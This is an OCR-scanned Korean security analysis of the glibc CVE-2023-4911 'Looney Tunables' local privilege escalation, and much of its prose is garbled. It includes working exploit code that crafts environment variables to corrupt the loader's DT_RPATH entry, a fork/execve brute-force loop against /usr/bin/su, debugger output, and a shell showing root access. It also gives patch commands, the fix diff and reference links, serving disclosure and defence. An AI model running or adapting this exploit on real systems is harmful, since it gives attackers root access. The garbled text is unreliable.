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E Haz 9AES 0x1000 2719 envp HlEES AAR”YTE envplOlol= WA &7 WHey
envp[llefl= & W4 24 WHSE Y O Fo| dH-2 fA]o] A8 IZRIHE Y2 H Al WA
27 HeE Yol &7 W7t AE o 9 Hu eHERSTF TS Linfo[DT_RPATH]of| ~H

e} o] EE Fhel,
for (int i = 0; i < Oxfff; i++)

{

srvpLil =
for (int i = 0; i <[sizeof(dt_rpath)|; i += 8)
i

*(uintptr_t *)(dt_rpath + i) = —axluULL;}——>| Oxffifffffffifffec
¥
dt_rpath[sizeof(dt_rpath) - 1] = '\0';
envp[0] = filler; [ 2lojo] Al FAS AE I// pads away loader rw section
envp[1l] = kv; // payload
envp[0x65] = ""; // struct link_map ofs marker
[envp[0x65 + 0xb8] = "\x30\xfO\xff\xff\xfd\x7f";|// L_info[DT_RPATH]
envp[Oxf7f] = filler2; // pads away :tunable2=AAA: in between
for (int 1 = 0; 1 < Ox2Ff; i++)
i

2T AE

o

envp[0xf80 + i] = dt_rpath;\|(0xffffffffffffffec)§ e s W 22t

envp[0@xffe] = "AAAA"; // alignment, currently already aligned

2924, envp S AAste] B W 27

Uzl g4 WE oo —Ox14(0xffffffffffffffec) & H-2Th olE dynstr AAES 7=
ZAEA -0x14 AX[o Q= £AE HHEY Yor AMESH] wwelw AAz /usr/bin/su'E
Adgsto] dynstr AL oty FAE AHEW s EAdo] At

pundbg> x/s 0x55bd62dleff0-0x1u

0x55bd62dlefdc: | w\ |

29 25. dynstr A W £44E 2

I_info[DT_RPATH]e] Eo]Z ~# ETE VE| 2 [OxTEdfffff030]0]2H= HA| A=) 71
t}. ol Z2Osfo] AgH ujuict A=jo] MY FAE JHAE ASLR EF 71HS

Holok, o]F 24 W4 g —0x1 E 71 e F o9 a1 &4 ¥ =
4 w7pz] T2 g gHEHoz Ayt #lsA A Jo92 16GB FHoA sHEGH]
g2 o 6MBE AAT & Q7] "ol 16GB / 6MB = 2730 He] A&
Aof| =g 7HeAdol otxith
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=] A =] O =] S e . = o =)=
forkQ) &5 Sl envp HIE-S 7 WSF= IR Jusr/bin/su TS FHEA o= Algggie}.
int pid;
for (int ct = 1;; ct++)
{
if (ct % 100 == 0)
{
printf("try %d\n", ct);
}
if ((pid = fork()p—< 0)
{ [ ZEMA MY
perror("fork");
break;
3
else if (pid == 0) // child
{
if (execve(argv[0], argv, envp) < 0)
{ . —
L 5 | &2 Y-S ¥sislof
perror("execve"); Justlbin/su ~—help 21 2
break;
}
}
else // parent
926, §iEHoz maAA QY
=] — o) = ps i, n = (i
AR 2 EAETL -0x14 S A B WE delo] mgeH " el Y oreldal
= = SEA L
gtolHz|2lE =ESHH 9tpo] 7]5o] HEH
PUTTODg= VITap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55e620c5a000 0x55e620c5d000 r—-p 3000 ® /usr/bin/su
0x55e620c5d000 0x55e620c64000 r-xp 7000 3000 fusr/bin/su
0x55e620c64000 0x55e620c66000 r—-p 2000 aee® fusr/bin/su
0x55e620c67000 0x55e620c69000 rw-p 2000 c0PO® Sfusr/bin/su
0x7f2aa3d05000 0x7f22a3d07000 r—-p 2000 0 /usr/lib/x86_64-linux—gnu/libcap-ng.s0.0.0.0
0x7f2aa3d07000 0x7f22a3d0ad0d r-xp 3000 2000 /usr/lib/x86_6U4-linux—gnu/libcap-ng.s0.0.0.0
0x7f2aa3d0afee 0x7f22a3d0bo0O r--p 1000 5000 /usr/lib/x86_64-linux—gnu/libcap-ng.s0.0.0.0
0x7f2aa3dobeee 0x7f22a3d0dO0O rw-p 2000 5000 /usr/lib/x86_6U4-linux—gnu/libcap-ng.s0.0.0.0
0x7f2aa3d0deee 0x7f22a3d10000 r--p 3000 0 /usr/lib/x86_64-linux—gnu/libaudit.so0.1.0.0
0x7f2aa3d10000 0x7f22a3d18000 r-xp 8000 3000 /usr/lib/x86_6U4-linux—gnu/libaudit.so0.1.0.0
0x7f2aa3d18000 0x7f2aa3d2deee r--p 15000 beO® /usr/lib/x86_6U4-linux—-gnu/libaudit.so.1.0.0
0x7f2aa3d2deee 0x7f2aa3d2f000 ru-p 2000 1f000 /usr/lib/x86_6U4-linux—gnu/libaudit.so0.1.0.0
0x7f2aa3d2f000 0x7f2aa3d3b000 rw-p c000 0 [anon_7f2aa3d2f]
0x7f2aa3d3beee 0x7f22a3d63000 r--p 28000 0 /home/eqst/CVE-TEST/"/libc.so.6
0x7f2aa3d63000 0x7f2aa2ef8000 r-xp 195000 28000 /home/eqst/CVE-TEST/"/libc.so.6
0x7f2aa3ef8000 0x7f2aa3f50000 r—-p 58000 1bdeee® /home/eqst/CVE-TEST/"/libc.so0.6
0x7f2aa3f50000 0x7f2aa3f56000 rw-p 6000 214000 /home/eqst/CVE-TEST/"/libc.so.6
OxT+2aa3+56000 0x7+2aa3+63000 rw-p dooo 0 [anon_7T+2aa3t56]

_libc_main_start()

a9 27. Bl B=E ¢ 49AQ olHye =E

vt A RE Aghe] A g3 4

Fa

eqst@23NB0109:~/CVE-2023-4911$ ./exp

# id

uid=0(root) gid=0(root) groups=0(root),1001(eqst)

1Y 28, HZH _ libc_main_start

F47t Agsle] TE A IS
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A BAZ shdsty] 9% GNU C etolnele] mx7h zsict 3okt olnejelE deol=
= gelol theat gt

Ubuntu(-%£5) : sudo apt install libc6
Fedora(#[%2}) : sudo yum update glibc
Debian(d[4]9h) : sudo apt install libc6

23] A U2 M8 HAE F dYolEE Astelo}

Ol

St

x| H golEHE] AAFEE AHEH {839 tunable name & ZA] Folal BRG] £
Lt A9 vREROA &S

O

@@ -180,11 +1B0.7 @@ parse_tunables (char *tunestr, char *valstring)

£ |f we reach the end of the string before getting a wvalid name—value
pair, bail out. */

if (pllen] == "#Q')

{

- if (__libc_enable_secure)
- tunestrloff] = 0",
- return;

/* We did not find a valid name—value pair before encountering the
colon, =/

+ 1

3" 29. #4E8 HAF F name-value B4 Adf A] B8 &

E, 2AEe ARt F 249 ol EEet A g aAIsHA] oAl HHEEA 2E

e

=

wa -ZA44, 9 +240, 76 Wi parse_tunables (char *tunestr, char *=valstrinal
I
}

it (pllen] = "HO')
p+=len + 1)

S# We reached the end while processing the tunable string, =/
it (pllen] == "#0")
break

+ o+ o+

p+= len + 1;

I

/* Terminate tunestr before we leave, »f
if (__libc_enable_secure)
tunestroff] = '#0';

+ o+ o+ o+

—

I 30. #AE A & 244 F=5 A BE BE
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« URL ¢ https://github.com/leesh3288/CVE-2023-4911
« URL : https://github.com/ruycr4ft/CVE-2023-4911
« URL : https://elixir.bootlin.com/glibc/glibc—2.35/source/elf/dl-tunables.c

« URL : https://sourceware.org/git/ ?p=glibc.git;a=commit;h=1056e5b4c3f2d90ed2b4a’55{96add28da2f4c8fa

« URL ! https://www.qualys.com/2023/10/03/cve—2023-4911/looney—tunables—local-privilege—
escalation—glibc—1d—so.txt
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